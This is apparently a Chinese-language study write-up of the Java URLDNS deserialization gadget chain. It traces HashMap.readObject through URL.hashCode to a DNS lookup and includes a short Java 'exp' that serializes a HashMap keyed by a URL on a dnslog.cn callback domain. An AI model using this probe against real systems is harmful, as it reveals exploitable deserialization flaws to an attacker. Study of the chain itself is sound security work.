HashMap实现了Serializable借口,可对HashMap对象进行反序列化操作

URLDNS gadget触发结果是一次DNS请求,在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。并且使用的Java内置类构造,对第三方库没有依赖。
其中HashMap类重写了readObject方法,readObject方法会读取一个序列化文件流,在readObject方法中的putVal方法会调用hash方法,hash方法下会调用URL类的hashCode方法,当hashCode属性不等于-1,会调用handler.hashCode方法,继续跟进会调用getHostAddress方法,最后调用InetAddress.getByName方法触发DNS请求
通常用于快速检测是否存在反序列化漏洞。
编写exp进行动态调试
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
URL url= new URL("<http://vlm4i5.dnslog.cn>");
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(url,22);
Serialize(hashmap);
Unserialize();
}
public static void Serialize(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("/Users/nivia/Desktop/URLDNS.ser"));
out.writeObject(obj);
// 刷新
out.flush();
out.close();
}
public static void Unserialize() throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("/Users/nivia/Desktop/URLDNS.ser"));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
}
触发反序列化的方法是readObject,断点打在HashMap类的readObject方法
HashMap.readObject()
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
······
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
我对exp中的hashmap.put(url,22);语句作了静态调试分析

同readObject方法中的putVal方法,这里的put方法是将键值对存放进HashMap对象中
所以for循环中取出的key和value,分别对应URL对象http://vlm4i5.dnslog.cn和22整型
在readObject方法的最后,putVal方法中调用了hash方法
HashMap.hash()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
在hash方法中,当key不为null时,还会调用hashCode()方法,这里的key就是URL对象